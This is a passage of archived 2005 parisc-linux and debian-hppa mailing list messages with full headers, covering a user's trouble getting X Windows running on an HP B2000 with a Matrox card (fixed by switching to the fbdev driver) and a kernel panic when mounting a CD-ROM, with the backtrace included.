
5) Sarge distribution from 27 April ISO images were used for the base 
installation;
6) All packages installed updated/upgraded to the latest available 
(regardless bugs or no bugs, 14 June?);
7) No security updates applied as security.debian.org site can't be 
accessed for some reasons;
8) Kernel source from "linux-2.6.12-rc6-pa1.tar.bz2";

Built the kernel using instructions from "PARISC-LINUX: Building The Kernel 
documentation" by following their "The Old, Grotty Way To Build a Kernel" 
and chose to compile the Matrox acceleration, Matrox Millennum II & 
Mystique and Trident supports into the Kernel as modules. I have also 
created the initial RAM disk by "mkinitrd -o 
/usr/src/linux-2.6.12-rc6-pa1/initrd.img-2.6.12-rc6-pa1 2.6.12-rc6-pa1".

Rgds,
Lee




-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems in getting X-Windows to run on HP Visualize
 785/B2000
 with rebuilt 2.6.12-rc6-pa1 kernel and Matrox Millennum II
Date: Thu, 16 Jun 2005 14:40:36 +0800
Lines: 68
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050616141324.02a2d920__8589.91692443869$1416623803$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623803 14826 80.91.229.3 (22 Nov 2014 02:36:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:43 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jun 2005 06:41:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 16 Jun 2005 08:41:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E6147D678;
	Thu, 16 Jun 2005 00:41:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06076-01; Thu, 16 Jun 2005 00:41:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDC837D670;
	Thu, 16 Jun 2005 00:41:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DE237D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Jun 2005 00:41:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05959-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Jun 2005 00:41:23 -0600 (MDT)
Original-Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg
	[203.116.1.189])
	by free.linux.hp.com (Postfix) with ESMTP id 1C00C7D668
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Jun 2005 00:41:22 -0600 (MDT)
Original-Received: from hpxphome.singnet.com.sg (cm172.gamma81.maxonline.com.sg
	[202.156.81.172])
	by eastgate.starhub.net.sg (8.12.5/8.12.5) with ESMTP id j5G6fDc4023481;
	Thu, 16 Jun 2005 14:41:18 +0800 (SST)
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SXrDYjgzeSEkc76WZHQhaXN1IGRvbwAU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22775

Hi,

Yesterday I reported that I have set up successfully a Matrox Millennum II 
PCI video card on an HPPA RISC B2000 workstation and was able to connect an 
HP910 to the Matrox Millennum video port running it as a text console.

I tried today to install and configure X Windows and am encountering 
problems. I installed, upgraded and configured the X Windows package (not 
by selecting Debian Software selection's "Desktop Environment" selection 
but selecting X Windows package using Aptitute from the "Manual Selection" 
in the same menu).

I configured X according to the hardware I have and made sure it would boot 
up on Init State 2 and rebooted the B2000 with the Matrox Millennum II card 
inside. It hung after displayed the login prompt and followed almost 
immediately by "Backtrace:" (with no more output)!

I then removed the Matrox Millennum II card and rebooted again. It was 
successful this time with the same configuration files!

Any suggestion on where I should "shoot" next (next actions)?

Rgds,
Lee

ps. Last few lines of boot messages captured with the Matrox Millennum II 
card. If you need the full boot messages for both the boot with and without 
the Matrox Millennum II card pls let me know. I will send them as 
attachment to you.

Starting portmap daemon: portmap.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Thu Jun 16 13:48:27 SGT 2005

Initializing random number generator...done.
Setting up X server socket directory /tmp/.X11-unix...done.
Setting up ICE socket directory /tmp/.ICE-unix...done.

INIT: Entering runlevel: 2

Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting portmap daemon: portmap.
Starting internet superserver: inetd.
Setting up X font server socket directory /tmp/.font-unix...done.
Starting X font server: xfs.
Starting X-TT font server: xfs-xtt.
Starting Xprint servers: Xprt.
Starting file alteration monitor: FAM.
Starting periodic command scheduler: cron.
Starting WINGs display manager: wdm.
Not starting X display manager (xdm); it is not the default display manager.

Debian GNU/Linux 3.1 DebianHPPA.example.com ttyS0

DebianHPPA.example.com login:

Backtrace:



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems in getting X-Windows to run on HP
	Visualize 785/B2000 with rebuilt 2.6.12-rc6-pa1 kernel and
	Matrox Millennum II
Date: Thu, 16 Jun 2005 19:10:08 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <e6eae02905061611107395fd51__39764.5217519768$1416623803$gmane$org@mail.gmail.com>
References: <5.1.1.6.1.20050616141324.02a2d920@pop.singnet.com.sg>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623803 14829 80.91.229.3 (22 Nov 2014 02:36:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:43 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jun 2005 18:10:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 16 Jun 2005 20:10:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E52AD7D679;
	Thu, 16 Jun 2005 12:10:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09664-10; Thu, 16 Jun 2005 12:10:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C62DB7D670;
	Thu, 16 Jun 2005 12:10:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E99347D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Jun 2005 12:10:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09664-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Jun 2005 12:10:44 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.199])
	by free.linux.hp.com (Postfix) with ESMTP id 621B77D669
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Jun 2005 12:10:44 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id 36so651300wra
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Jun 2005 11:10:42 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=LcSAQDFtIZGVJ+esNS0oikYuvr6DRY6DOG5xSZyOWC4p2XmLNguNXZXNwsMi7WuIlgA+Pfyrcaa3AP9pPmHyL1AVQIPqvtxBWdhgoSI5+2oTwWJG+sSpIn2QV6/HKe2upQUAwUWSJ4uPwCMAx1uL+uO81tisYJVRgSCIORLliRo=
Original-Received: by 10.54.2.42 with SMTP id 42mr625696wrb;
	Thu, 16 Jun 2005 11:10:08 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Thu, 16 Jun 2005 11:10:08 -0700 (PDT)
In-Reply-To: <5.1.1.6.1.20050616141324.02a2d920@pop.singnet.com.sg>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +KXDYiY3eSEkT76WZHQhaXN1IGRvb8A+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22776

On 6/16/05, J. L. Lee <jllee@singnet.com.sg> wrote:
> Hi,
>
> Yesterday I reported that I have set up successfully a Matrox Millennum I=
I
> PCI video card on an HPPA RISC B2000 workstation and was able to connect =
an
> HP910 to the Matrox Millennum video port running it as a text console.
>
> I tried today to install and configure X Windows and am encountering
> problems. I installed, upgraded and configured the X Windows package (not
> by selecting Debian Software selection's "Desktop Environment" selection
> but selecting X Windows package using Aptitute from the "Manual Selection=
"
> in the same menu).
>
> I configured X according to the hardware I have and made sure it would bo=
ot
> up on Init State 2 and rebooted the B2000 with the Matrox Millennum II ca=
rd
> inside. It hung after displayed the login prompt and followed almost
> immediately by "Backtrace:" (with no more output)!

I guess the kernel crash results when xdm/XFree86 is being started.
That is what it usually looks like on my machine when I select the wrong
X11 driver.

> I then removed the Matrox Millennum II card and rebooted again. It was
> successful this time with the same configuration files!
>
> Any suggestion on where I should "shoot" next (next actions)?

Perhaps you are not using the fbdev driver for XFree86;
using the mga (=3Dnative) driver in /etc/X11/XF86Config-4 will crash
the machine (HPMC) when it tries to start X.

 Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: UPDATE ON "Problems in getting X-Windows to run on HP
  Visualize 785/B2000 with rebuilt 2.6.12-rc6-pa1 kernel and Matrox
  Millennum II"
Date: Fri, 17 Jun 2005 02:47:14 +0800
Lines: 18
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050617024214.02edb990__13051.9232167446$1416623804$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623804 14831 80.91.229.3 (22 Nov 2014 02:36:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:44 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jun 2005 18:48:24 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx058) with SMTP; 16 Jun 2005 20:48:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id D1BA82ECB4; Thu, 16 Jun 2005 13:48:20 -0500 (CDT)
Old-Return-Path: <jllee@singnet.com.sg>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg [203.116.1.189])
	by murphy.debian.org (Postfix) with ESMTP id 62BE82EC85
	for <debian-hppa@lists.debian.org>; Thu, 16 Jun 2005 13:48:14 -0500 (CDT)
Original-Received: from hpxphome.singnet.com.sg (cm118.gamma86.maxonline.com.sg [202.156.86.118])
	by eastgate.starhub.net.sg (8.12.5/8.12.5) with ESMTP id j5GIm2Dv002331;
	Fri, 17 Jun 2005 02:48:06 +0800 (SST)
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.3 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <OWeeZD.A.pwH.0lcsCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4535
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 16 Jun 2005 13:48:20 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: L6zDYiheeSEkSL6WZHQhaXN1IGRvb0AN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22777

Hi All,

I got X Windows running on my B2000 now.

Thanks to the info provided by Max Grabert, all I needed to do was changing 
the video driver from "mga" to "fbdev" in the XFConfig-4.

Rgds,
Lee




-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel panic while mounting a CD-ROM drive
Date: Fri, 17 Jun 2005 23:23:33 +0800
Lines: 232
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050617230817.02aae7d0__13211.7358888083$1416623804$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
  boundary="=====================_17015517==.ALT"
X-Trace: ger.gmane.org 1416623804 14837 80.91.229.3 (22 Nov 2014 02:36:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:44 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 15:26:46 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx008) with SMTP; 17 Jun 2005 17:26:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 7DE952F029; Fri, 17 Jun 2005 10:26:41 -0500 (CDT)
Old-Return-Path: <jllee@singnet.com.sg>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from northgate.starhub.net.sg (northgate.starhub.net.sg [203.117.1.53])
	by murphy.debian.org (Postfix) with ESMTP id B6D582E9CD
	for <debian-hppa@lists.debian.org>; Fri, 17 Jun 2005 10:26:33 -0500 (CDT)
Original-Received: from hpxphome.singnet.com.sg (cm125.gamma85.maxonline.com.sg [202.156.85.125])
	by northgate.starhub.net.sg (8.12.5/8.12.5) with ESMTP id j5HFQC3d024338;
	Fri, 17 Jun 2005 23:26:26 +0800 (SST)
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-2.7 required=4.0 tests=AWL,HTML_MESSAGE,
	IMPRONONCABLE_1,IMPRONONCABLE_2,LDOSUBSCRIBER,MURPHY_WRONG_WORD1,
	MURPHY_WRONG_WORD2 autolearn=no 
	version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <bY5xuB.A.KhC.xuusCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4538
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 17 Jun 2005 10:26:41 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 4I7AYt9+eSEker6WZHQhaXN1IGRvb0Dq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22778

--=====================_17015517==.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi,

I set up my B2000 (with PCI Matrox Millennum II card) to run on kernel 
2.6.11-rc6-pa1 a few days ago and was able to mount the CD-ROM drive and 
used it on several occassions. However it kept on causing kernel panic and 
froze the B2000 whenever I tried to mount the CD-ROM drive since today.

The difference then and now (since I last used the CD-ROM drive) is that I 
have installed successfully a X Windows package. Could this be the reason? 
I have tried both init level 2 & 3 but this did not make a difference. Any 
idea what went wrong?

(Please read pps below for the kernel panic messages.)

Rgds,
Lee

ps. Last few lines of the start-up messages before login prompt showing 
what components of X Windows is running:

Initializing random number generator...done.
Setting up X server socket directory /tmp/.X11-unix...done.
Setting up ICE socket directory /tmp/.ICE-unix...done.
INIT: Entering runlevel: 3
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting portmap daemon: portmap.
Starting internet superserver: inetd.
Setting up X font server socket directory /tmp/.font-unix...done.
Starting X font server: xfs.
Starting X-TT font server: xfs-xtt.
Starting Xprint servers: Xprt.
Starting file alteration monitor: FAM.
Starting periodic command scheduler: cron.
Not starting WINGs display manager (wdm); it is not the default display 
manager.
Not starting X display manager (xdm); it is not the default display manager.

Debian GNU/Linux 3.1 DebianHPPA.example.com ttyS0

DebianHPPA.example.com login:


pps. Kernel panic messages immediately after I issued "mount" command:

mount /dev/hda /media/cdrom0
Backtrace:

  [<10158408>] __blk_queue_bounce+0x1fc/0x294

  [<10278774>] __make_request+0x74/0x4e8

  [<10279050>] generic_make_request+0x1a8/0x26c

  [<10279184>] submit_bio+0x70/0x120

  [<10171a10>] submit_bh+0x148/0x1ac

  [<101705e8>] block_read_full_page+0x220/0x338

  [<1015125c>] read_pages+0x16c/0x1d8

  [<101513d4>] __do_page_cache_readahead+0x10c/0x190

  [<1015160c>] blockable_page_cache_readahead+0x68/0xe0

  [<101518c4>] page_cache_readahead+0x18c/0x1ac

  [<1014a050>] do_generic_mapping_read+0x6c0/0x6c8

  [<1014a374>] __generic_file_aio_read+0x1b0/0x1c8

  [<1014a494>] generic_file_read+0x90/0xb8

  [<1016c210>] vfs_read+0xe0/0x158

  [<1016c52c>] sys_read+0x58/0xa8

  [<1010d12c>] syscall_exit+0x0/0x14



Kernel Fault: Code=26 regs=1ba94a40 (Addr=0000000c)


      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI

PSW: 00000000000001101110111100001111 Not tainted

r00-03  00000000 103a7010 10158408 00011210

r04-07  00011200 00000000 00000000 1f44d140

r08-11  1ba94898 00000000 1f76c370 1049f010

r12-15  00000000 10000000 1049f010 10000000

r16-19  1049f010 10175040 1fff2420 1013ed60

r20-23  1ba949d4 ffffffaf 1ba949d4 00000000

r24-27  00000000 00000010 00011200 1038d010

r28-31  1f44d140 00052045 1ba94a40 1014d1ac

sr0-3   00000000 00000000 00000000 00000028

sr4-7   00000000 00000000 00000000 00000000


IASQ: 00000000 00000000 IAOQ: 1014d19c 1014d1a0

  IIR: 0cb81099    ISR: 00000000  IOR: 0000000c

  CPU:        0   CR30: 1ba94000 CR31: 10428000

  ORIG_R28: ea3dad4f

  IAOQ[0]: mempool_alloc+0x9c/0x144

  IAOQ[1]: mempool_alloc+0xa0/0x144

  RP(r2): __blk_queue_bounce+0x1fc/0x294

Kernel panic - not syncing: Kernel Fault




--=====================_17015517==.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Hi,<br><br>
I set up my B2000 (with PCI Matrox Millennum II card) to run on kernel
2.6.11-rc6-pa1 a few days ago and was able to mount the CD-ROM drive and
used it on several occassions. However it kept on causing kernel panic
and froze the B2000 whenever I tried to mount the CD-ROM drive since
today. <br><br>
The difference then and now (since I last used the CD-ROM drive) is that
I have installed successfully a X Windows package. Could this be the
reason? I have tried both init level 2 &amp; 3 but this did not make a
difference. Any idea what went wrong?<br><br>
(Please read pps below for the kernel panic messages.)<br><br>
Rgds,<br>
Lee<br><br>
ps. Last few lines of the start-up messages before login prompt showing
what components of X Windows is running:<br><br>
Initializing random number generator...done.<br>
Setting up X server socket directory /tmp/.X11-unix...done.<br>
Setting up ICE socket directory /tmp/.ICE-unix...done.<br>
INIT: Entering runlevel: 3<br>
Starting system log daemon: syslogd.<br>
Starting kernel log daemon: klogd.<br>
Starting portmap daemon: portmap.<br>
Starting internet superserver: inetd.<br>
Setting up X font server socket directory /tmp/.font-unix...done.<br>
Starting X font server: xfs.<br>
Starting X-TT font server: xfs-xtt.<br>
Starting Xprint servers: Xprt.<br>
Starting file alteration monitor: FAM.<br>
Starting periodic command scheduler: cron.<br>
Not starting WINGs display manager (wdm); it is not the default display
manager.<br>
Not starting X display manager (xdm); it is not the default display
manager.<br><br>
Debian GNU/Linux 3.1 DebianHPPA.example.com ttyS0<br><br>
DebianHPPA.example.com login:<br><br>
<br>
pps. Kernel panic messages immediately after I issued &quot;mount&quot;
command:<br><br>
<font face="Courier New, Courier">mount /dev/hda /media/cdrom0<br>
Backtrace:<br><br>
&nbsp;[&lt;10158408&gt;] __blk_queue_bounce+0x1fc/0x294<br><br>
&nbsp;[&lt;10278774&gt;] __make_request+0x74/0x4e8<br><br>
&nbsp;[&lt;10279050&gt;] generic_make_request+0x1a8/0x26c<br><br>
&nbsp;[&lt;10279184&gt;] submit_bio+0x70/0x120<br><br>
&nbsp;[&lt;10171a10&gt;] submit_bh+0x148/0x1ac<br><br>
&nbsp;[&lt;101705e8&gt;] block_read_full_page+0x220/0x338<br><br>
&nbsp;[&lt;1015125c&gt;] read_pages+0x16c/0x1d8<br><br>
&nbsp;[&lt;101513d4&gt;] __do_page_cache_readahead+0x10c/0x190<br><br>
&nbsp;[&lt;1015160c&gt;]
blockable_page_cache_readahead+0x68/0xe0<br><br>
&nbsp;[&lt;101518c4&gt;] page_cache_readahead+0x18c/0x1ac<br><br>
&nbsp;[&lt;1014a050&gt;] do_generic_mapping_read+0x6c0/0x6c8<br><br>
&nbsp;[&lt;1014a374&gt;] __generic_file_aio_read+0x1b0/0x1c8<br><br>
&nbsp;[&lt;1014a494&gt;] generic_file_read+0x90/0xb8<br><br>
&nbsp;[&lt;1016c210&gt;] vfs_read+0xe0/0x158<br><br>
&nbsp;[&lt;1016c52c&gt;] sys_read+0x58/0xa8<br><br>
&nbsp;[&lt;1010d12c&gt;] syscall_exit+0x0/0x14<br><br>
<br><br>
Kernel Fault: Code=26 regs=1ba94a40 (Addr=0000000c)<br><br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp; YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI<br><br>
PSW: 00000000000001101110111100001111 Not tainted<br><br>
r00-03&nbsp; 00000000 103a7010 10158408 00011210<br><br>
r04-07&nbsp; 00011200 00000000 00000000 1f44d140<br><br>
r08-11&nbsp; 1ba94898 00000000 1f76c370 1049f010<br><br>
r12-15&nbsp; 00000000 10000000 1049f010 10000000<br><br>
r16-19&nbsp; 1049f010 10175040 1fff2420 1013ed60<br><br>
r20-23&nbsp; 1ba949d4 ffffffaf 1ba949d4 00000000<br><br>
r24-27&nbsp; 00000000 00000010 00011200 1038d010<br><br>
r28-31&nbsp; 1f44d140 00052045 1ba94a40 1014d1ac<br><br>
sr0-3&nbsp;&nbsp; 00000000 00000000 00000000 00000028<br><br>
sr4-7&nbsp;&nbsp; 00000000 00000000 00000000 00000000<br><br>
<br>
